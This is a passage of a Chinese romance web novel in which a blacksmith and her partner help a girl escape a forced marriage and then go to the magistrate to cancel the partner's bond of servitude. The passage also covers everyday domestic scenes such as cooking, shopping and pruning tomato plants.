但逃婚总归是有人来找的,要是处理不好,很有可能惹上麻烦。 江浔看了一眼穿着破旧、浑身脏污、哭得满脸泪痕的小姑娘。她看起来年纪就小,眼神却倔强又坚毅,很像阿雅话本中那个可怜的主角。 “唉。”江浔叹口气,道:“可以, 卖你一把菜刀防身用, 你有钱吗?” 小姑娘深吸口气,压下抽噎, 开始在身上翻找着铜板。 她出来得太急, 几乎是脑海中出现逃婚的想法, 就跑了,根本没来得及为自己准备银钱。 翻遍全身上下后, 她只摸出来三枚前日早晨帮家里买菜时省下来的铜板。 沾染着泥土、有凝固干涸血迹的手摊开, 露出里面握着的三枚铜板, 和带着擦伤的手心。 一看就是在哪里摔倒了。 “我、我只有三文钱……” 话一说出口,小姑娘自己都觉得难堪,手臂抖了一下, 低下头慢慢把自己脏污的手缩回。 她只有三文钱能干什么呢? 最多只能买三个大馒头, 够她吃个几日,然后就会饿死。 不想成亲又有什么用呢? 她还不是无法活下去。 “打、打扰了……”小姑娘垂下了头。 “三文钱够了。”江浔从她手心中捻起一文, 晃了晃,“我只收你一文钱,卖你一把菜刀,但你需要先从这里走出去,然后进入旁边的小巷中,我才能把菜刀给你,能理解吗?” 原本还垂头丧气,觉得没有希望的小姑娘表情一下明亮起来。 也管不了江浔说的是不是真的了,都重重点头,道:“能,谢谢老板!” 交易达成,江浔也算卖出去一单,获得一个开盲盒的机会。 她看着小姑娘缩瑟着走出去、四处张望的背影,心中想到要是能开到好运的话,她就用在小姑娘身上。 要是开不到的话,那就只能让小姑娘自求多福了。 她在口中念叨几句一定要是好运后,搓搓手心,默念道:开。 盲盒闪出金光,好运二字旋转着跳出! 果然,她现在运气也很好,想什么来什么。 门外,一个神色慌张、灰头土脸的小姑娘走在街上,分外引人注目。 不管是路过的行人,还是街两边开铺子的老板,都会多看几眼。 可当江浔把好运用在小姑娘身上后! 那个刹那间,所有看着小姑娘的眼神,都被各种不一样的事物吸引走。 谁都没有发现那小姑娘钻进了打铁铺旁边的小巷中。 等再回神时,他们都以为小姑娘沿着街离开了。 看着对方进巷子后,江浔转身走进院中,同阿雅道:“我要带个小姑娘进来,你别担心。” 说着,打开院中后门,把站在巷子里有些迷茫的小姑娘叫进自己家中。 在写东西的阿雅见状,放下毛笔,走到江浔面前,同她一起看着面前的人。 说是小姑娘,其实也就比她小一两岁的模样。 “怎么了这是?”阿雅询问道。 看面前这人的状态,阿雅也猜得到是对方遇见了什么事,江浔再帮她。 因此并没有多想。 江浔:“前几日不是传有个小姑娘学着话本里的方法,逃婚吗?恐怕就是这个小姑娘了。” 能亲眼见到自己话本帮助的人,阿雅是有些意外的,眼神看了一眼江浔,嘴来回张了张却是什么话都没问。 只道:“这样,你给她换身衣服,换个装扮,我给她烙几个饼子,傍晚时分再出城,应当不容易被发现。” 说着,阿雅就挽起袖子,走向灶台处。 “好,我找找,我应当是有旧衣服的。”江浔把小姑娘带到水井旁,从里面打了桶水倒入木盆中,“来你先把自己的手和脸擦干净,等会儿换身衣裳。” 小姑娘在两个生人家中,都有些不敢说话了,几次想要开口说不用麻烦,却都被阿雅或江浔安慰过去。 她看看这两位面善的漂亮姐姐,勉强压下心中的不安,乖巧地用水洗手。 江浔进到屋子里,翻找自己的旧衣物,也就是原主十六七岁时穿的衣服。 原主有一段时日的想法和江浔的很一致,都是想着自己要做活,每天汗流个不停,就适合穿一点黑色或麻布色的衣服。 耐脏不说,要是实在不能穿了,扔掉也不心疼。 但后来原主就买了些漂亮衣服,和豆腐西施比美去了。 江浔翻找衣物时,除了把黑色的衣服翻出来,还翻了一套素白的出来。 黑色的拿给那个小姑娘穿,素白的让阿雅试试。 感觉阿雅会适合这种衣服。 拿着黑色的衣服出去,江浔让小姑娘去西屋里换,自己则来到阿雅身旁,帮着做饼子。 阿雅打算做肉馅儿的饼子,成亲那日李屠妇送的半扇猪肉,现在也入味儿了,正好拿出来做饼子。 江浔和完面后,两人一同把面团分为无数颗半个拳头大小的剂子,放在一旁发酵。 接着,阿雅拿着盆和勺,去墙角的大陶罐里舀酱肉。 酱肉已经发酵到软烂,因为后续还加了酒,所以有很浓烈的一股酒香味儿。一勺子舀下去,碎肉混合着汁水被舀起,那黏稠咸香的模样,即便没吃过的人都知道下饭绝对很好吃。 装了大半盆酱肉后,阿雅又往里加入了胡椒和葱花搅匀,放在一旁备用。 等待剂子发酵好时,阿雅擦擦自己的手,来到换好衣服的小姑娘身旁。 开始为小姑娘扎头发。 小姑娘以前扎的是包髻,也就是把头发在脑袋后盘成一团后,再用绢布、巾帕一类的东西包裹住。 这种发型简单又方便,连阿雅都常弄这种发型。 但现在要为小姑娘换个打扮,就不能再扎这种头发了。 阿雅上下打量过小姑娘穿的衣服,发现她穿上江浔的衣服后,气质干练沉稳许多,不说话时看起来有点不好惹的模样。 那便扎一个和江浔相同的马尾吧。 小姑娘两鬓还有些未长长的刘海,阿雅给她弄下来后,剩余的头发全扎在脑袋后面,用一根黑色布条捆住。 又找出多余的黑色布条在小姑娘手腕上缠绕几圈,让她变得更加利落几分。 如此一来,竟然有些像男子模样,只要姿态再目中无人一点,谁能分辨的出来这是女是男? “好!这样就不会有意外了!” 看着阿雅把小姑娘装扮得那么好,江浔忍不住抱住阿雅,在她脸上偷亲了一口。 搞得阿雅瞪她一眼,说了句还有人在。 被她们提到的小姑娘哪见过这种亲密动作,眼神立马移开,看着院中跑来跑去的鸡。 就当做什么都没看见般,只是耳朵有些发烫。 剂子差不多醒好后,阿雅和江浔一起往剂子里灌入酱肉,像包汤圆一样包起来,再压扁压成饼状。 做好十来个肉馅面饼后,阿雅就开火,开始烙煎饼。 铁锅中滋啦滋啦响着,只一面煎至金黄,浓郁的肉香味儿就开始冒出了。 端坐在院中凳子上的小姑娘不断耸动着鼻尖,闻着炊烟中的柴火味和肉味,口舌生津,喉咙不断吞咽着。 她已经记不得自己多久没有吃过肉了。 她真的能吃上肉吗? 别不是断头饭吧? 吃完就会把她卖掉吗? 在胡思乱想中,江浔用碗装着煎好的肉饼递给她,让她先吃,吃饱了才有力气继续逃。 打铁铺没办法收留一个逃婚的小姑娘,小姑娘想要自由,就只能逃向更远的地方- 傍晚时分,浓艳如血的残阳洒在地上,身形瘦弱却挺拔干练、背上背着个布包,走路大摇大摆的人从巷子中走出。 沿着街边朝镇外走。 她太过普通了,基本不会有人注意到她。 但当她走到镇口,就要出去时,却发现镇口站着一位穿长衫的男子。 那是她的哥哥,就是因为要为这位哥哥凑去私塾的银子,她才会被着急忙慌往外嫁的。 看到哥哥的一瞬间,小姑娘脸上出现慌乱,原本自信的步伐变得踌躇起来。 很怕自己被认出来,很怕自己被抓住。 不行,她要自信一些,她要目中无人一些。 想到江浔对她的叮嘱,让她怎么样才更像男子,小姑娘就觉得不能这样放弃,不尝试就永远没有出去的机会。 她花掉最后两枚铜板,背对着哥哥坐上出镇的牛车,双手紧紧掐住自己的大腿,祈祷着自己能躲过去。 牛车摇晃着朝镇外走去,车上好些熟识的人在闲谈,让小姑娘两只耳朵都被嘈杂的声音充斥满了。 她感觉自己紧张到灵魂出窍,后背布满汗水。 当车从那穿长衫的男子面前过去时,那男子朝牛车上张望。 一眼望去全是大娘大爷,唯一一个年轻人还是个小伙子,根本没有他的妹妹。 他很快收回视线,继续朝镇中张望,心中恼怒的猜测着自己妹妹该不会早就跑出去了吧? 可最近几日他和爹都有守着两个镇口,完全没有遇见人啊? 如此想着时,他爹急匆匆从另一个镇口赶来,抓着他的手臂,冲着他道:“毅儿,你娘说今日有人在镇里见过你妹妹,说是进过一家铺子!走!我们快去找她!” “是吗?那走,定要把她抓回来!” 两人声音不算小的交谈完,就朝着那家铺子赶去,想要抓住小姑娘。 而小姑娘呢? 她早就被江浔叮嘱过,发生任何事都不能回去添乱,所以她根本就没管这两人在说什么。 等到牛车已经出镇老远后,才敢偷偷放松下来。 打铁铺外,小姑娘的父母嘭嘭嘭敲着打铁铺的门,他们身后,两个儿子分别叫喊着,“老板开开门!我们有事与你商与!不费事的,开开门!” 第66章 一身白衣,九天玄女! 傍晚, 送走小姑娘之后,江浔和阿雅两人就坐在矮桌旁,一人拿着一个肉煎饼,吃着晚食。 桌上还放着两盘清炒的素菜, 土豆丝和茭白。 都用的是猪油炒的, 不会掩盖住蔬菜原本清香的同时, 还有点独特的油腥味儿。 两人吃上一口满满的夹着肉的煎饼,再来上一口清爽的素菜,怎么吃都满足无比。 阿雅还泡了一壶简单的茶水,感觉噎人时喝上一口,就什么都爽利了。 矮桌间有声音在交谈,江浔道:“那小姑娘还学着你写的, 来打铁铺买刀具呢。” 阿雅其实没想到自己的话本, 能让一位女子鼓起勇气,她道:“能帮到总是好的, 希望她平安。” 按话本子里来, 主角很快就会遇到山匪, 要出事了。 而现世里,一切都不算太平, 一名女子独自行走, 会遇见很多危险的。 江浔点点头, 也道了句希望。 矮桌间的交谈停顿了下来,火红的夕阳在慢慢往下坠落,余晖把一切都照的赤忱、热烈。 江浔故意压着声音道:“我给那小姑娘找衣服时, 翻出来一套素白衣裳, 应当合适你穿,等会儿吃过试试?” 她一双眼睛看着阿雅轻微眨了一下, 眸子水润,其中还有璀璨晚霞倒映出来的微光,像能燎原的火星子,看人一眼就能把人点燃。 阿雅被她这神情烫了一下,总觉得她是在暗示什么,是想干什么乱七八糟的事。 眼睛反射性地瞪向江浔,凶凶道:“你什么都不许做。” 江浔神色一下变得无辜,眼睛眨巴眨巴的,好似自己什么都没说。 可惜吃完饭,阿雅还是没抗住江浔的央求,换上一身白色衣衫,腰处系着一根青色腰带,裙摆是远看一片氤氲青绿,近看竹笔直修长摇曳亭亭。 她规规矩矩坐在床边,白日里挽起的长发被放下,发尾打卷,温顺又乖巧地贴在身上。 脸侧的头发被挽在耳后,露出莹白如玉的肌肤。 屋子的门开着,在深蓝的夜色中,天的边缘被模糊,似远似近,一切都是寂寥又静谧的。 江浔踏着如此夜色走近,像从神秘之处走出的幻影。 而阿雅,是献祭之品,是端坐于高高阁中,等待着她拆开的礼物。 是穿着白衣,神情温柔缱绻的神女。 靠近阿雅后,江浔觉得自己粗鲁的像山中未开蒙的野兽,粗粝的手指每触碰一下阿雅都像是亵渎。 层层叠叠的衣衫落下,堆叠如重瓣莲花。 江浔有些紧绷,每一次触碰都是缓慢的小心翼翼的,搞得阿雅也有些羞涩、不知所措,只能任由江浔摆弄,全身心交给她。 当打铁铺的门重重被敲响时,江浔的脑袋都被裙摆遮住了,鼻尖、嘴唇也湿漉漉的。 她本不想理外面的人,身体更朝阿雅前进一分,可惜外面的人带着她不出去就不罢休的气势,敲门声越来越重、越来越急促。 江浔:…… 她愤愤从阿雅裙摆钻出,擦了把脸,被阿雅推拒着撵下床,只能理好自己的衣服,去看外面到底是谁! 在!敲!门! 现在时辰不算迟,太阳下山后天都还是蓝的,并没有完全黑下去。 外面街上人少了许多,但还是有两两三三行人路过。 除卖吃食的铺子还没有关门外,其他铺子已经把门掩上不做生意了。 还有少许铺子像江浔这也,早早就关门,准备歇下了。 哪想有这么不识趣的人,也不看时辰,硬要把门给敲开。 江浔脸色有些黑,唇绷直,穿过打铁铺时,还顺手把火炉旁放着的打铁锤给拎起来了。 打铁铺外的四个人敲了老半天门,都没听到铺子内有动静,脸上神情越来越不耐烦,眉头间皱出深深的沟壑。 稍微年长点的,穿着长衫的那个儿子猜测道:“是不是小妹就躲藏在这里,才不敢来开门的?” 越想越觉得是这样,其他人也分别点点头,你一言我一句道: “对对对有可能,还是毅儿说的在理啊!” “这些人,干了坏事不敢承担,铺子迟早开垮!” “大哥说的有道理,那我继续用力敲!” 话毕,敲门声更加夸张,叫喊声也更大,把周围铺子里的人也引出来了。 宋月柔铺子中还有几个食客,吃饭吃到一半呢,就听到隔壁不断吵吵吵,吵的饭都吃不下去了。 他们直接站起身,重重把厚底粗碗往桌子上一磕! “我倒要看看谁闹成这样!” 一群人从宋月柔铺子中走出,朝打铁* 铺的方向看去,打量那一家四口。 正巧,江浔也是在这个时候,拎着铁锤,打开铺子门,不算太友善地看着铺子外的人。 “你们有事?” 那比人脑袋还大的铁锤砰一声被放在门槛外,砸的地下的青石板似乎都颤动了下,令人胆寒。 站在最前面的男人差点被突然出现的铁锤砸到脚,赶忙拉着自己老婆往后躲了一下,有些生气道:“你这人怎么回事?脾气这么大?” 江浔没答话,就那么看着外面的人,手还拿在铁锤杆上,像是随时准备暴起伤人的模样,让原本还想抱怨的男人声音逐渐小了下去。 不敢说什么。 “这、这位老板,有人说今日看见一个小姑娘进你铺子,可有此事?” 他尴尬地清清嗓子,才道明来意。 原来是来找人的。 江浔也没瞒着,直接道:“确有此事。” 男人:“那你可知那小姑娘人在何处?她在你这里买的是何东西?” “没买东西,没注意去何处了。”说完,江浔又把打铁锤提到屋子,准备关门,“没有其他事的话,就关门了。” “等等!”男人挡了一下,语速飞快问道:“你再想想,真的不知道那小姑娘去哪里了吗?我是她爹,她那日和家里吵了一架后就跑出去了,我们怕她出事,着急哦。” “那就更不是你家的姑娘了。”江浔道:“那小姑娘可是流着泪跑进来,说自己要被家里卖了,要不是她怎可能逃走?我看她可怜诶,她那父母真是挨千刀的,也不知因为什么事,要卖这么个乖巧的小姑娘。” 她这话说的阴阳怪气的,当着这几人的面,把他们骂了一顿。 但偏偏这几人还不能说,要是反应太激烈,那不真成了卖孩子的父母了? 一时之间,那男子脸上表情青了又红红了又青,煞是好看。 见他们说不出话,江浔手放在门上,又想把门拉来关上。 可外面的人就是不依不饶,那比其他人高出许多的穿长衫的男子跨步上前,伸脚卡进隔扇门中! 其实江浔能反应过来的,但他看见那人伸脚,想也不想就把门用力关上! 甚至还更加用力了些! 砰——!!! “啊啊啊啊啊!!!” 木门颤抖,发出吱嘎一声,门框处朝内微凹,看起来刚修好的木门就要这么坏了! 被夹到脚的男子反射性想要收回脚,但江浔故意压着门不放,似乎是愣住了,好一会儿才反应过来。 一边不走心喊道:“天娘诶,你伸脚干嘛?!” 一边把门慢悠悠打开。 那男子收回脚后,像只公鸡似的,抱着自己的脚,单脚在原地嚎叫着转圈跳。 直接把围观看戏的其它铺子里的人给逗笑了! 那些吃饭都吃不爽利的人心中怨气也没了,大声同身旁人道:“咦耶,吃个饭还有杂技可以看,简直要得!” “走走走,把碗端出来,边看边吃!” 说着这几人还真就把碗端了出来,蹲在地上,边看边吃着。 搞得长衫男子的弟弟有些不服气,瞪着他们,想骂点什么却不敢。 只能冲着江浔吼道:“是不是就是你把小妹藏起来了!快把她交出来!强抢民女是重罪,你怎么敢的!” 这话差点把江浔给气笑,还知道强抢民女是重罪啊? 那怎么敢打着嫁娶的名字,把女儿往外卖? 江浔脸上表情更加黑沉,声音也厉了几分,“我再说一遍,我没藏她,我也不知道那小姑娘去哪里了!” “整条街的人都能为我证明!要不是不想惹麻烦,谁愿意看那么小的姑娘独自行走?要真是你们女儿,你们也干得出来这种事!?” 旁边蹲着看戏的人也出声了,“人家打铁铺老板是真不知道,我也是看着那小姑娘进去没几息就出来了,什么都没买,也不知去哪里了。” “我们这里好几个人都看见了!” “你们别赖着人家老板了!自己女儿看不住,也不知做了什么亏心事,才把人家小姑娘逼走的!” 因着豆腐铺便宜实惠。他们这里好些人都固定要到宋月柔这里吃饭的。 正巧今日就看见那小姑娘进打铁铺了,但他们确实也看见对方很快就出来了,沿着街边就走了。 和这老板没有半点关系。 有人这么说后,宋月柔和对面张记食摊的老板张三,还有张三的食客们也纷纷道:“是啊是啊,那小姑娘自己沿着街走了,没人知道她去哪里了!” 见那么多人都围了过来,长衫男子的弟弟身体缩瑟一下,唯唯诺诺,不敢说话了。 最终这一家人也只能灰头土脸离开,根本不敢说自家女儿是为什么要跑的,也不敢再多问了。 怕这条街上的人知道是怎么一回事,要冲上来打他们嘞! 好不容易把麻烦事解决,江浔冲街坊邻里们道谢。 别看大家对什么时都八卦,但关键时刻还是有用啊。 关上门,江浔火急火燎冲到房中,想完成之前未完成之事。 但阿雅早就换好平日里穿的衣服,躺床上睡熟了! 江浔见状,身形一下停顿住,收敛着动静上床,不想吵醒对方。 下次吧下次,这次就让阿雅好好休息。 她躺在床上,蹑手蹑脚抱住人,闭上眼酝酿睡意。 第67章 卖身契 第二日, 那穿长衫的男子居然又来了。 但他不敢再来找江浔,只敢在外面转悠,时不时朝打铁铺里张望,企图找到自家小妹。 江浔没有理他, 专注的做着自己的事情。 徐浆娘卖土豆条的生意走上正轨后, 就开始每日限时限量的卖了。 尽量让番柿酱能用得更久些, 因为下一批番柿至少还得百余天。 镇上风靡起这种吃食后,许多小姐少爷都会让自己身边的丫鬟小厮来买。 有时运气差点只剩最后一份时,他们还会互相骂架嘞。 而有些买到这种吃食的人,也会高价卖给这些有钱人,小赚一笔。 如此吃食,要不是几人精力有限, 没法做更多出来, 说不定都能风靡到其他城、镇嘞。 见炸土豆条卖得这么好,江浔又起了做切土豆花工具的心思。 切土豆花的工具还算好做, 把刀做成波浪形的就好。 江浔只研究了半日, 就把模具做出来了, 之后再要做这种波浪刀就会轻松许多。 中午吃过午食,照例是要午睡的。 两人一前一后来到屋子中, 阿雅坐在梳妆台前, 手摸出别在自己腰上的钥匙, 开梳妆台柜子的锁。 “要拿钱?” 江浔本来是想直接坐床上去的,看见她这动作,又好奇地走到她身边, 看她要干什么。 虽知道可能和自己没关系, 但心中还是忍不住期待,有没有可能是要给自己零花钱了? “你忘了?谭木匠今日应当会来修鸡窝。” 阿雅说着话, 用钥匙把抽屉打开,露出里面规整占了一半抽屉的碎银和铜板。碎银在左边,有大大小小近十块嘞,铜板在右边,就更多了,一百枚穿成一串,足有四串。 这样看来,两人的小金库恐怕有近二十两了。 花花用用能攒下这么多,阿雅每每打开抽屉时,都会觉得幸福无比。 她拿出一串铜板,从上面数了五十枚出来放在桌子上,才把一串铜板又放回去。 “做鸡窝不算贵,做个好点的也才几十文,就可以让两只小鸡在冬天不用冻着了。” 放好铜板,准备关抽屉时,她手指顿了一下,又把放在抽屉里的另一样东西给拿了出来。 那是一张纸。 薄薄的,轻轻的,根本没有什么存在感。 江浔看了几眼这东西,总觉得有些眼熟,当阿雅把这张对折的纸翻开,露出里面的文字时,她才看出来是阿雅的卖身契。 反应过来的瞬间,江浔忍不住皱眉,心中情绪有些难言。 她来到这里,除了第一天遇见买卖人口,看过卖身契外。 就再也没有见过如此不平等的事了。 现在乍一看、乍一反应过来阿雅是曾经有过卖身契的人,那冲击力可想而知。 直接把她现在过得美好生活,都变得有些不真实,有些虚无缥缈了。 抿抿发干的唇,江浔勉强组织措辞问道:“这、这东西,你还留着?留着做什么?” 她想和阿雅好好过日子,并不是很想看见这东西出现。 是啊,留着做什么呢? 被问到,阿雅手指不自觉用力捏紧纸张的边缘,书页响动的声音发出,让本来就不算平整的纸张变得更加发皱。 她很快反应过来,放松手指,脸上表情故作轻松,问道:“浔姐姐,你要吗?” 江浔:? 她要什么要? 当初把这东西还给阿雅,就是存着想让阿雅把这东西销毁的想法。 哪想阿雅非但没销毁,甚至还留了下来。 这是想干什么? 以为自己在开玩笑吗? 还是觉得自己以后还要用到? 江浔心中又是心疼阿雅,又是有点不被信任的小脾气在翻滚,眉头越皱越深,嘴角都朝下掉了。 她弯下腰去,从背后笼罩住阿雅的身影,一手拿过阿雅手上的卖身契,一手圈住阿雅的腰。 稍稍用力,直接把人给抱起来了! 阿雅腿伤好了后,她就很少用这种旱地拔葱式把人抱起。 不过现在重新抱着阿雅,江浔才发现阿雅确实长高许多,以前两人可能差着一个头左右,而现在恐怕只差十多厘米了。 抱起来比以前顺手不少。 突如其来的姿势变换,使得阿雅小声惊呼,双手自觉揽在江浔脖子上,双腿都有点想夹江浔身上。 江浔稳稳抱住她,开始往外走去,才不管她到底是出于什么想法把东西留下的,反正这东西留着又没好处! 穿过院子来到灶台边后,才把人放下来。 “浔姐姐。”阿雅还有些没反应过来,站在原地,水蓝色裙摆像花朵一样摇曳几下,发丝也随着刚才的晃动,在江浔身上纠缠后,才离开。 她状似不经意间扫过江浔手中拿着的东西,黛色羽睫颤动,心中空落落的。 浔姐姐真的会把那一纸卖身契拿回去吗? 不、不会的。 肯定不会的。 阿雅双手垂在胸前,捏在一起,指节都有些泛白。 她最初只是不信任江浔,怕自己真的把卖身契撕了,会引来一顿毒打,甚至还会被送到官府去。 但后来,江浔待她一切如常,没有欺压打骂,没有强迫奴役,她是真的有在把她当人看。 她逐渐相信了江浔,也遗忘了卖身契的存在。 直到今日再次看见。 “你想把……拿回去是可以的。”阿雅低了头,只给江浔留个发旋,眼神扫过卖身契后又快速移开。 她语气轻快,仿佛什么都不在意一般。 这让江浔心中小脾气更加翻涌,很难接受她这样说。 “可以什么可以?我说可以了吗?”刚把阿雅放开的手,又长阿雅腰上去了,箍着人靠近自己,“都说了这东西你想怎么处理都行,怎么还留着?” 灶膛里留的有火星,江浔抬脚勾动着灶里插的木棍,猩红火光不一会儿就开始冒出。 “我可不想要这东西。” 说罢,江浔朝前走一步,把阿雅抵在灶台边不得动弹,身体朝下弯曲,两指夹着那张卖身契往猩红火焰中送! 纸一碰到火焰,就被烤到干枯卷曲,上面出现点点被灼烧出来的孔洞,黑色灰烬覆盖在边缘,火星打着漩,纸张晃动,好似在扑腾翅膀的枯叶蝶。 “浔姐姐!别!” 看见卖身契要被烧毁,阿雅脸上闪过慌乱,双手抓住江浔的手,想要把东西抢回来! “烧了没用的!要去官府消除契约才有用!” 她知自己是没法阻止江浔的,只能语速极快地说完,抬眼看向江浔,希望江浔能相信自己。 听到要去官府才能解除契约,江浔手腕朝上一台,冒着火星、差点被她脱手扔进灶里的卖身契又被拿了回来。 迅速捏在手心中,摁灭上面的火焰。 幸好及时,卖身契只被烧毁了一些边边角角,并没有烧到字迹。 只是变得更加皱巴巴灰蒙蒙罢了。 “你说的可是真的?”江浔拿着东西,面色严肃,“你可别骗我。” 阿雅根本就没去看卖身契好还是不好,眼神直接落在江浔身上,眼圈泛红眼中有涟漪,身体用力往她怀中靠,嗓音哽咽悲戚:“我说的当然是真的,浔姐姐,谢谢你呜,我明白的我都明白的。识尽千千万万人,终不似,伊家好。” 她不应该去试探江浔的,她不应该有一丝怀疑江浔的。 她只是觉得自己不够好,只是觉得这样的自己真的会被喜欢吗? 她好想能早点遇见江浔,好想在她最秀美的年华遇见江浔,好想在她家中没有变故、她没有陷入泥潭染上脏污是遇见江浔。 如琉璃珠子般的眼泪从阿雅眼中落出,她仰头,带着滚烫的泪水亲吻在江浔的下巴。 她什么都不想去想了,她只想把自己交付给江浔。 江浔没被突如其来的亲吻弄懵,她特别灵性,在阿雅在她下巴上烙印下一吻时,她低下头,同她亲吻在一起。 爱是什么呢? 爱就是连阿雅委屈自己,她都看不下去。 她把阿雅抱了起来,放在灶台的台面上,双腿卡进阿雅腿间,撑着台面吻着。 鸳鸯爱侣,水乳交融,灵魂嵌合。 生涯有分限,爱恋无终已。 江浔突然有点懂阿雅的想法了,是没有安全感,是不自信,是经历了许多之后看不见的伤还没有愈合。 亲吻到窒息时,江浔放开了阿雅,喘丨息交叠道:“走!我们去官府!立马就把这什么鬼契约给解了,还你自由身!” 她把卖身契卡在自己腰带上,一手揽住阿雅的腰,一手托住阿雅的屁股,就把人抱着走向打铁铺的方向! 阿雅脸上泪还有点止不住,头埋在江浔颈间,湿漉漉的,脑袋空白,也没有想去阻止江浔。 两人穿过院子,穿过放满铁具的打铁铺,打开铺子门正准备出去时! 正巧和抬起手准备敲门的谭木匠对视上! 谭木匠:? 江浔:? 阿雅:!? 砰——!!! 两人都慌了。 江浔猛地把门踹上! 阿雅都还没从她身上下去呢,就开始推拒着她。 搞得江浔在原地踉跄着转了几圈,才把人放在地上。 阿雅双手抹着自己的眼泪,江浔理着自己的衣服。 好一会儿才敢重新开门。 谭木匠:? 谭木匠身后探出个头,是谭婆婆,谭婆婆笑眯眯在两人之间打量,感叹道:“浓情蜜意啊浓情蜜意啊~” 江浔和阿雅:…… 两人两色爆红,赶忙把谭婆婆和谭木匠请到家里。 谭木匠是来修鸡窝的,江浔给他们二人倒了两杯茶水,几人在一起聊了几句,把鸡窝的大小高矮聊明白后。 江浔和阿雅才重新走出打铁铺,站在街上发懵。 她们要干什么来着? 对对对,她们要去官府。 江浔拍拍自己的头,从巷子里牵出马车,带着阿雅一同去想官府。 第68章 水纹刀 坐着马车, 很快就到了官府。 想要为阿雅赎身倒是不难,只是手续太麻烦了,因着卖身契被烧毁了一部分,官府还需要重新开具新的卖身契, 然后才能为她们办解除契约的事。 来来回回没个十天半个月完不成。 那些官差还要收点辛苦费, 不然还不给办。 阿雅卖身契上的内容被更改过, 写的不是她原本的名字,身份也不是原本的身份。 再加上这个地方没谁认识她,等卖身契失效后,她就能以新身份生活了。 从官府出来后,阿雅忽觉浑身轻松,神清气爽, 自己被磋磨的那段记忆, 在脑海中已经模糊不清了。 呼吸间能闻到瓜果熟透的甜腻香味儿,脚仿佛踩在云上, 心情美妙得不行。 她拉着江浔的手摇了摇, 撒娇道:“我们去买荔枝吧。” 买买买! 那当然是要买的! 江浔看着阿雅眼神发亮, 脸上笑得出现两个梨涡的可爱模样,总算能感觉出来她的青春与活泼了。 当即没犹豫, 赶着马车在街上逛着, 看到什么都想买。 糖葫芦? 适合阿雅吃, 买! 荔枝?梨子?柿子?葡萄? 阿雅想吃,买! 还有各式各样的糕点每样只买一枚,也买了不少。 以及木质、银质、玉质的首饰, 都买了好几样, 把阿雅装扮起来,更显俊俏。 两人足足在街上逛了一个时辰, 几乎把整个清水镇都逛遍,才回到打铁铺中。 院内,谭木匠已经把鸡窝搭起雏形,再把顶部安上,内部放上稻草就差不多了。 谭婆婆本来是坐在凳子上,同自己儿子闲聊的,但闲聊久了,她也站起身走到谭木匠身旁,弯腰去看江浔阿雅种的菜。 打从进门起,她就注意到这些菜了,绿油油一片很是吸引人。 只是那番柿叶子卷曲,尖端开始发黄,看起来是要枯萎了。 她倒是知晓这番柿已经收过一茬了,所以有些疑惑江浔和阿雅怎么不把这叶子给剪掉。 江浔和阿雅进门后,两人脸上都笑意融融的和谭婆婆打招呼。 “今日辛苦谭婆婆和谭木匠了,我们买了水果,一起来吃吧。” 江浔让阿雅先去坐着休息,自己提着布袋放在灶台上,从其中拿出一把荔枝放在矮桌之上,让大家一起吃。 这个季节就是吃荔枝的时候,但寻常人家很少像江浔这样,一买就买一大把。 大家通常都是买几颗尝尝味儿,解解馋。 “你先吃,我进屋去放东西。” 阿雅和江浔站得近,小声说完话,又冲谭婆婆笑笑后,阿雅就拎着装糕点那个布袋子,朝屋内走去。 半掩着房门。 她坐在梳妆台边,先从布袋子里拿出被单独装在小木盒中的首饰,唇边抿着笑,打开小木盒,把里面的首饰全都摸过一遍。拿着簪子对镜在脑袋上比比,或拿着镯子在手腕上比比。 好一会儿,才把这些精致的东西放回木盒中,把木盒放入梳妆柜中。 她又拿出钥匙,打开锁上的柜子,从里面拿出二两银子。 今日花了不少钱,她和江浔身上的钱都用光了,要再拿点出来傍身才是。 和江浔在一起后,花销上她都日渐变得随意起来,不像往日一般节省了。 不过话又说回来,现在她过得比以前好很多,也不用过于节省,心情好时买点东西,也是应当的。 带着笑把自己说服后,阿雅才又出去,重新把房门关上。 外面,谭木匠自己把鸡窝做好了,每一个有尖角的地方还给她们磨得圆润许多。 防止不经意间受伤。 两只小鸡不知这东西是给它们做的,但还是自发地围着这东西转圈。 似乎很高兴,翅膀扑腾几下后,扯着嗓子“咯咯咯”叫着。 江浔见它们这样,把手中的荔枝壳放在桌上,一手抱着一只鸡放在鸡窝中,拍拍它们的头,就相当于告诉它们这是它们的窝。 两只小鸡好像明白了似的,“咯咯咯”叫得更欢快,还里里外外来回走,巡视着自己的窝。 考虑到它们要生小鸡,鸡窝做得大,足够它们撒欢。 阿雅走到江浔身边,把钱结给谭木匠,总共是一百文。 结完钱,谭婆婆站在一旁问道:“你们家这番柿不剪枝啊?叶子都枯黄了,该剪了。” 一句话把江浔阿雅两人问懵,阿雅走到番柿前,有些疑惑道:“剪枝?” 看她们两人脸上表情空白,都是一副听不懂的模样,谭婆婆用手指托起番柿枯黄的叶,指给她们看。 “像这种,就应该剪掉了,要不是一整颗都会长得不好的。” 说完,谭婆婆又把这些番柿叶子给扒开,露出最下面的主茎。 被层层叠叠遮挡住的、见不到阳光的主茎上,长出好几株泛着新绿的芽。 “你们看,剪来只剩这些嫩芽就行,等过段时日它们又会长起来,结出大个的番柿。” 面对这些嫩芽,谭婆婆就没有上手去碰了,就指给两人看。 叫两人脑袋凑上前去,发现还真是有很多嫩芽,支楞着冒出两片尖尖的带着锯齿状的叶子,看起来很想要茁壮生长,突破阻碍见到阳光。 “原来要这样,我们俩都没种过番柿,谢谢谭婆婆解惑了。”江浔摸摸脑袋,咧嘴笑着。 阿雅则去找来剪子,在谭婆婆的指导下,咔嚓咔嚓剪着番柿枝。 她们两人肯学,谭婆婆一人教了一次后就都会了,剩下的就不用谭婆婆再守着了。 “那我们先……”谭婆婆想说他们就先回去了,哪想江浔还有话说,让他们先别慌着走,转而拿出一个东西,递给谭婆婆看。 “谭婆婆,此铁具名为水纹刀,其形状似海中波涛。用来把土豆切成水纹的模样,很是有趣、吸引人。” “麻烦您带回去给徐浆娘试试,也算是为她的摊子增加特色。” 江浔把自己做出来的水纹刀,也就是波浪刀递给谭婆婆。 那刀上流畅又奇特的波浪弧形,让谭婆婆有些惊讶,拿在手中都有些不知该怎么拿。 忙道:“好好,我会拿给她的。” 说完正经事,谭婆婆才又道:“那我们就先回去了。” 江浔拿了一串、估摸着有十几颗的荔枝递给谭婆婆,把谭婆婆二人送到门口后,才走进巷子把马牵到院中,开始喂草。 “我们把番柿叶修剪完吧。”阿雅道。 两人一人拿着一把剪子,开始修剪着番柿叶和枝。 不费什么事,一会儿就把所有番柿都修剪了。 